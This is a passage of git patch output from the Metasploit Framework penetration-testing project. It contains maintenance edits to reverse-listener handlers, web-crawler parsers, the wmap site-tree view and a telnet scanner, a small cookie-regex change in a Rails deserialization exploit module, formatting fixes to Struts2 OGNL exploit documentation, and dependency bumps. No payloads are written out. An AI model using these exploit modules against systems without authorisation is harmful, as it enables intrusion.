bind_port port = datastore['ReverseListenerBindPort'].to_i (port > 0) ? port : datastore['LPORT'].to_i end + # Checking if LHOST is a loopback address + def is_loopback_address(address) + begin + a = IPAddr.new(address.to_s) + return true if IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') === a + rescue + end + return false + end + # # Starts the listener but does not actually attempt # to accept a connection. Throws socket exceptions @@ -84,18 +94,6 @@ module Msf 'MsfExploit' => assoc_exploit }) - #Checking whether LHOST is a loopback address - - def is_loopback_address(address) - begin - a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') === a - return true if IPAddr.new('::1') === a - rescue - end - return false - end - if is_loopback_address(ip) print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d2025c9f36..ae4dc2f8a2 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -356,19 +356,6 @@ protected print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...") - - # Checking whether LHOST is a loopback address - - def is_loopback_address(address) - begin - a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') === a - return true if IPAddr.new('::1') === a - rescue - end - return false - end - if is_loopback_address(uri.host) print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?") end From ef6831437a21d77565d66bb3eaad5aa350bfd457 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 14:55:20 -0700 Subject: [PATCH 27/39] indentation fix for clarity --- lib/msf/core/handler/reverse.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index d6c3d712c6..ca185f2ba5 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -94,9 +94,9 @@ module Msf 'MsfExploit' => assoc_exploit }) - if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") - end + if is_loopback_address(ip) + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") + end rescue ex = $! From ad929b6427731f74eca2099546e3b8f87ba9d3c9 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 15:44:09 -0700 Subject: [PATCH 28/39] indentation fix part 2 --- lib/msf/core/handler/reverse.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index ca185f2ba5..cf68238e89 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -95,8 +95,8 @@ module Msf }) if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") - end + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") + end rescue ex = $! From e8257122b36a7c6832e22907bd936a4f2bf92b50 Mon Sep 17 00:00:00 2001 From: Jon P Date: Mon, 13 Mar 2017 17:18:39 +0100 Subject: [PATCH 29/39] Creation of a sub-module for modules/auxiliary/crawler/msfcrawler Catching links in comments --- data/msfcrawler/comments.rb | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 data/msfcrawler/comments.rb diff --git a/data/msfcrawler/comments.rb b/data/msfcrawler/comments.rb new file mode 100644 index 0000000000..e632eed46b --- /dev/null +++ b/data/msfcrawler/comments.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'pathname' +require 'nokogiri' +require 'uri' + +class CrawlerComments < BaseParser + + def parse(request,result) + return unless result['Content-Type'].include?('text/html') + + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath('//comment()').each do |comment| + # searching for href + hr = /href\s*=\s*"([^"]*)"/.match(comment) + if hr + begin + hreq = urltohash('GET', hr[1], request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + # ignored + end + end + + end + + end +end From c9a519072645389f5eba71121b4c196f46893c04 Mon Sep 17 00:00:00 2001 From: Jon P Date: Mon, 13 Mar 2017 17:32:56 +0100 Subject: [PATCH 30/39] Patching "undefined method empty?" errors + "encoding error" --- data/msfcrawler/forms.rb | 35 +++++++++++------------------------ 1 file changed, 11 insertions(+), 24 deletions(-) mode change 100755 => 100644 data/msfcrawler/forms.rb diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb old mode 100755 new mode 100644 index b0c48e1472..202b2d00e7 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -19,28 +10,21 @@ require 'uri' class CrawlerForms < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end - - hr = '' - m = '' + return unless result['Content-Type'].include?('text/html') doc = Nokogiri::HTML(result.body.to_s) doc.css('form').each do |f| hr = f['action'] - fname = f['name'] - fname = "NONE" if fname.empty? + # Removed because unused + #fname = f['name'] + #fname = 'NONE' if fname.empty? - m = f['method'].empty? ? 'GET' : f['method'].upcase - - htmlform = Nokogiri::HTML(f.inner_html) + m = (f['method'].empty? ? 'GET' : f['method'].upcase) arrdata = [] - htmlform.css('input').each do |p| + f.css('input').each do |p| arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}" end @@ -51,7 +35,10 @@ class CrawlerForms < BaseParser hreq['ctype'] = 'application/x-www-form-urlencoded' insertnewpath(hreq) rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" end + end end end From 4628dfe16b134edf76574cf9569fb510e62e9ba4 Mon Sep 17 00:00:00 2001 From: Jon P Date: Mon, 13 Mar 2017 17:36:21 +0100 Subject: [PATCH 31/39] Remove old banner + rubygems requirements --- data/msfcrawler/basic.rb | 18 +++--------------- data/msfcrawler/frames.rb | 10 +++------- data/msfcrawler/image.rb | 11 +++-------- data/msfcrawler/link.rb | 11 +++-------- data/msfcrawler/objects.rb | 14 +++----------- data/msfcrawler/scripts.rb | 16 +++------------- 6 files changed, 18 insertions(+), 62 deletions(-) mode change 100755 => 100644 data/msfcrawler/basic.rb mode change 100755 => 100644 data/msfcrawler/frames.rb mode change 100755 => 100644 data/msfcrawler/image.rb mode change 100755 => 100644 data/msfcrawler/link.rb mode change 100755 => 100644 data/msfcrawler/objects.rb mode change 100755 => 100644 data/msfcrawler/scripts.rb diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb old mode 100755 new mode 100644 index 759e0459c6..30199410a1 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -19,10 +10,7 @@ require 'uri' class CrawlerSimple < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') # doc = Hpricot(result.body.to_s) doc = Nokogiri::HTML(result.body.to_s) diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb old mode 100755 new mode 100644 index 5edfaec16f..5e7c4d31e6 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -1,13 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -27,6 +22,7 @@ class CrawlerFrames < BaseParser hreq = urltohash('GET', ir, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb old mode 100755 new mode 100644 index 5e5d643637..8536a6c4ea --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -1,14 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -# $Revision: 9212 $ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -27,6 +21,7 @@ class CrawlerImage < BaseParser hreq = urltohash('GET', im, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb old mode 100755 new mode 100644 index 9cb7794ef0..d3ccf1242a --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -1,14 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -# $Revision: 9212 $ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -26,6 +20,7 @@ class CrawlerLink < BaseParser hreq = urltohash('GET', hr, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb old mode 100755 new mode 100644 index fe69846cb1..44e4bc9ad0 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -29,6 +20,7 @@ class CrawlerObjects < BaseParser hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb old mode 100755 new mode 100644 index a28a0a0470..4acfcd5d72 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -21,8 +12,6 @@ class CrawlerScripts < BaseParser def parse(request,result) return unless result['Content-Type'].include? "text/html" - hr = '' - m = '' doc = Nokogiri::HTML(result.body.to_s) doc.xpath("//script").each do |obj| s = obj['src'] @@ -30,6 +19,7 @@ class CrawlerScripts < BaseParser hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end From 665adec29836abefc9e190eb11b9f007a9d9f3c9 Mon Sep 17 00:00:00 2001 From: Jon P Date: Mon, 13 Mar 2017 17:37:47 +0100 Subject: [PATCH 32/39] Patching storedb function (adding host/port/ssl for correct report_web_page) --- modules/auxiliary/crawler/msfcrawler.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index 991f98e23d..3d4a0341e5 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary def storedb(hashreq,response,dbpath) + # Added host/port/ssl for report_web_page support info = { :web_site => @current_site, :path => hashreq['uri'], :query => hashreq['query'], - :data => hashreq['data'], - :code => response['code'], - :body => response['body'], - :headers => response['headers'] + :host => hashreq['rhost'], + :port => hashreq['rport'], + :ssl => !hashreq['ssl'].nil?, + :data => hashreq['data'], + :code => response.code, + :body => response.body, + :headers => response.headers } #if response['content-type'] From 32edeb9eba347ff3b14b208a3f5e218a47935960 Mon Sep 17 00:00:00 2001 From: Jon P Date: Tue, 14 Mar 2017 15:33:35 +0100 Subject: [PATCH 33/39] New tree output for command wmap_sites -s with unicode option (wmap_sites -s [ids] (true/false)) Filtering 404 in tree output --- plugins/wmap.rb | 153 ++++++++++++++++++++++++++++++------------------ 1 file changed, 96 insertions(+), 57 deletions(-) diff --git a/plugins/wmap.rb b/plugins/wmap.rb index b6c6ab7fb3..ad3c64e0ea 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin when '-s' u = args.shift l = args.shift - s = args.shift + o = args.shift - if not u - return - end + return unless u if l == nil or l.empty? l = 200 - s = true + o = 'true' else - l = l.to_i - s = false + # Add check if unicode parameters is the second one + if l == 'true' or l == 'false' + o = l + l = 200 + else + l = l.to_i + end end + o = (o == 'true') + if u.include? 'http' # Parameters are in url form - view_site_tree(u,l,s) + view_site_tree(u,l,o) else # Parameters are digits if !self.lastsites or self.lastsites.length == 0 @@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if target_whitelist.length == 0 - if not self.targets - self.targets = Hash.new() - end + unless self.targets + self.targets = Hash.new() + end target_whitelist.each do |ent| - view_site_tree(ent,l,s) + view_site_tree(ent,l,o) end end return @@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin print_line("\t-a [url] Add site (vhost,url)") print_line("\t-d [ids] Delete sites (separate ids with space)") print_line("\t-l List all available sites") - print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") - + print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)") print_line("") return else @@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if site_whitelist.length == 0 - vsites = Hash.new() - site_whitelist.each do |ent| vhost,target = ent host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host + unless host print_error("No matching host for #{target.host}") next end serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv + unless serv print_error("No matching service for #{target.host}:#{target.port}") next end @@ -1552,69 +1554,106 @@ class Plugin::Wmap < Msf::Plugin end end + # Private function to avoid duplicate code + def load_tree_core(req, wtree) + pathchr = '/' + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + # # Load website structure into a tree # - def load_tree(s) - - pathchr = '/' - wtree = Tree.new(s.vhost) # Load site pages s.web_pages.order('path asc').each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) + if req.code != 404 + load_tree_core(req, wtree) end end # Load site forms s.web_forms.each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end + load_tree_core(req, wtree) end - return wtree + wtree + end + + def print_file(filename) + ext = File.extname(filename) + if %w(.txt .md).include? ext + print '%bld%red' + elsif %w(.css .js).include? ext + print '%grn' + end + + print_line("#{ filename }%clr") end # - # Print Tree structure. Still ugly + # Recursive function for printing the tree structure # + def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode) + if tree != nil and tree.depth <= max_level + print (' ' * indent) - def print_tree(tree, ip, maxlevel, limitlevel) - initab = " " * 4 - indent = 6 - if tree != nil and tree.depth <= maxlevel - print initab + (" " * indent * tree.depth) - if tree.depth > 0 - print "|"+("-" * (indent-1))+"/" - end - if tree.depth >= 0 - if tree.depth == 0 - print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" - + # Prefix serve to print the superior hierarchy + prefix.each { |bool| + if unicode + print (bool ? ' ' : '│') + (' ' * 3) else - c = tree.children.count - if c > 0 - print tree.name + " (" + c.to_s+")\n" - else - print tree.name + "\n" - end + print (bool ? ' ' : '|') + (' ' * 3) end + } + if unicode + # The last children is special + print (is_last ? '└' : '├') + ('─' * 2) + ' ' + else + print (is_last ? '`' : '|') + ('-' * 2) + ' ' end - tree.children.each_pair do |name,child| - print_tree(child,ip,maxlevel,limitlevel) + c = tree.children.count + + if c > 0 + print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })" + else + print_file tree.name + end + + i = 1 + new_prefix = prefix + [is_last] + tree.children.each_pair { |_,child| + is_last = !(i < c) + print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode) + i += 1 + } + end + end + + # + # Print Tree structure. Less ugly + # Modified by Jon P. + # + def print_tree(tree, ip, max_level, unicode) + indent = 4 + if tree != nil and tree.depth <= max_level + if tree.depth == 0 + print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr" + end + + i = 1 + c = tree.children.count + tree.children.each_pair do |_,child| + print_tree_recursive(child, max_level, indent, [], !(i < c), unicode) + i += 1 end end From a1d7748d82f05f8baa2f5bd1a8b04173f8112ed3 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 15 Mar 2017 16:33:37 -0500 Subject: [PATCH 34/39] Fix #8061, Handle ::Errno::ECONNRESET in telnet_version Fix #8061 --- modules/auxiliary/scanner/telnet/telnet_version.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb index 3ec68ab891..55043b4e2e 100644 --- a/modules/auxiliary/scanner/telnet/telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/telnet_version.rb @@ -39,11 +39,15 @@ class MetasploitModule < Msf::Auxiliary print_status("#{ip}:#{rport} TELNET #{banner_santized}") report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized) end - rescue ::Rex::ConnectionError - rescue Timeout::Error + rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e + print_error("A network issue has occurred: #{e.message}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + rescue Timeout::Error => e print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") rescue ::Exception => e print_error("#{e} #{e.backtrace}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end end end From 59c7de671edce62fcbc588e0041a3ed88c5fc657 Mon Sep 17 00:00:00 2001 From: Thomas Reburn Date: Thu, 16 Mar 2017 10:45:43 -0500 Subject: [PATCH 35/39] Updated rails_secret_deserialization to add '.' regex for cookie matching. --- modules/exploits/multi/http/rails_secret_deserialization.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index cb6d0a8360..4e3e6f2d49 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => datastore['HTTP_METHOD'], }, 25) if res && !res.get_cookies.empty? - match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + match = res.get_cookies.match(/([._A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end if match From 1daee6891e2b444dcce37dacc406a0a04b190140 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 16 Mar 2017 11:37:14 -0500 Subject: [PATCH 36/39] Cosmetic --- .../exploit/multi/http/struts2_content_type_ognl.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/multi/http/struts2_content_type_ognl.md b/documentation/modules/exploit/multi/http/struts2_content_type_ognl.md index 7e5a9e9f01..918047736f 100644 --- a/documentation/modules/exploit/multi/http/struts2_content_type_ognl.md +++ b/documentation/modules/exploit/multi/http/struts2_content_type_ognl.md @@ -1,6 +1,6 @@ -```struts2_content_type_ognl``` is a module that exploits Apache Struts 2's Jakarta Multipart +`struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart parser, which makes it possible to perform arbitrary code execution with a malicious HTTP -```Content-Type``` value. +`Content-Type` value. ## Vulnerable Application @@ -29,7 +29,7 @@ set as optional. **The Check Command** -The ```struts2_content_type_ognl``` module comes with a check command that can effectively check +The `struts2_content_type_ognl` module comes with a check command that can effectively check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following: @@ -39,7 +39,7 @@ set RHOST [IP] set TARGETURI [path to the Struts app with an action] ``` -When the module is in verbose mode, the ```check``` command will try to tell you the OS information, +When the module is in verbose mode, the `check` command will try to tell you the OS information, and whether or not the machine is vulnerable. Like this: ``` @@ -54,7 +54,7 @@ msf exploit(struts2_content_type_ognl) > check After identifying the vulnerability on the target machine, you can try to exploit it. The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads, -try to do ```show payloads```, and pick one. The following example demonstrates us exploiting a +try to do `show payloads`, and pick one. The following example demonstrates us exploiting a vulnerable Ubuntu host: ``` From af3cd18c9fa656dfb2f5dd74686c30772779f945 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 16 Mar 2017 13:06:07 -0500 Subject: [PATCH 37/39] Fix #8041 so it works --- lib/msf/core/handler/reverse.rb | 36 ++++++++++++++-------------- lib/msf/core/handler/reverse_http.rb | 4 ---- 2 files changed, 18 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index cf68238e89..58ef0e19c7 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -23,6 +23,16 @@ module Msf ) end + def is_loopback_address?(address) + begin + a = IPAddr.new(address.to_s) + return true if IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') === a + rescue + end + false + end + # A list of addresses to attempt to bind, in preferred order. # # @return [Array] a two-element array. The first element will be @@ -32,11 +42,18 @@ module Msf def bind_addresses # Switch to IPv6 ANY address if the LHOST is also IPv6 addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has # something else listening on that interface. Try again with ANY_ADDR. any = (addr.length == 4) ? "0.0.0.0" : "::0" + addr = Rex::Socket.addr_ntoa(addr) - addrs = [ Rex::Socket.addr_ntoa(addr), any ] + # Checking if LHOST is a loopback address + if is_loopback_address?(addr) + print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?") + end + + addrs = [ addr, any ] if not datastore['ReverseListenerBindAddress'].to_s.empty? # Only try to bind to this specific interface @@ -55,17 +72,6 @@ module Msf (port > 0) ? port : datastore['LPORT'].to_i end - # Checking if LHOST is a loopback address - def is_loopback_address(address) - begin - a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') === a - return true if IPAddr.new('::1') === a - rescue - end - return false - end - # # Starts the listener but does not actually attempt # to accept a connection. Throws socket exceptions @@ -93,11 +99,6 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) - - if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") - end - rescue ex = $! print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") @@ -105,7 +106,6 @@ module Msf ex = false via = via_string_for_ip(ip, comm) print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") - break end end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index ae4dc2f8a2..637cc6a544 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -356,10 +356,6 @@ protected print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...") - if is_loopback_address(uri.host) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?") - end - resp.body = blob # Short-circuit the payload's handle_connection processing for create_session From 0631bc4c2998eea75076e911392fb3f7bbfb3d53 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 16 Mar 2017 23:51:51 -0500 Subject: [PATCH 38/39] bump payloads and such --- Gemfile.lock | 10 +++++----- metasploit-framework.gemspec | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index ff523c8e1b..a3330090aa 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -14,7 +14,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.2.17) + metasploit-payloads (= 1.2.18) metasploit_data_models metasploit_payloads-mettle (= 0.1.7) msgpack @@ -190,7 +190,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.2.17) + metasploit-payloads (1.2.18) metasploit_data_models (2.0.14) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -227,7 +227,7 @@ GEM pcaprub patch_finder (1.0.2) pcaprub (0.12.4) - pg (0.19.0) + pg (0.20.0) pg_array_parser (0.0.9) postgres_ext (3.0.0) activerecord (>= 4.0.0) @@ -256,7 +256,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (12.0.0) rb-readline (0.5.4) - recog (2.1.4) + recog (2.1.5) nokogiri redcarpet (3.4.0) rex-arch (0.1.4) @@ -350,7 +350,7 @@ GEM thread_safe (~> 0.1) tzinfo-data (1.2017.1) tzinfo (>= 1.0.0) - windows_error (0.1.0) + windows_error (0.1.1) xpath (2.0.0) nokogiri (~> 1.3) yard (0.9.8) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 425c33012e..5a28c4932b 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,7 +65,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.2.17' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.18' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7' # Needed by msfgui and other rpc components From 6200a3abb889dd0c15d931bc540b58fccca6b070 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 17 Mar 2017 10:02:41 -0700 Subject: [PATCH 39/39] Bump version of framework to 4.14.3 --- Gemfile.lock | 12 ++++++------ lib/metasploit/framework/version.rb | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index a3330090aa..9c26efb677 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.14.2) + metasploit-framework (4.14.3) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -104,7 +104,7 @@ GEM bcrypt (3.1.11) bit-struct (0.15.0) builder (3.2.3) - capybara (2.12.1) + capybara (2.13.0) addressable mime-types (>= 1.16) nokogiri (>= 1.3.3) @@ -145,8 +145,8 @@ GEM ffi (1.9.18) filesize (0.1.1) fivemat (1.3.2) - gherkin (4.0.0) - google-protobuf (3.2.0) + gherkin (4.1.1) + google-protobuf (3.2.0.2) googleauth (0.5.1) faraday (~> 0.9) jwt (~> 1.4) @@ -164,7 +164,7 @@ GEM json (2.0.3) jwt (1.5.6) little-plugger (1.1.4) - logging (2.1.0) + logging (2.2.0) little-plugger (~> 1.1) multi_json (~> 1.10) loofah (2.0.3) @@ -335,7 +335,7 @@ GEM faraday (~> 0.9) jwt (~> 1.5) multi_json (~> 1.10) - simplecov (0.13.0) + simplecov (0.14.0) docile (~> 1.1.0) json (>= 1.8, < 3) simplecov-html (~> 0.10.0) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 8c26e83e5c..338826fd2d 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.14.2" + VERSION = "4.14.3" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash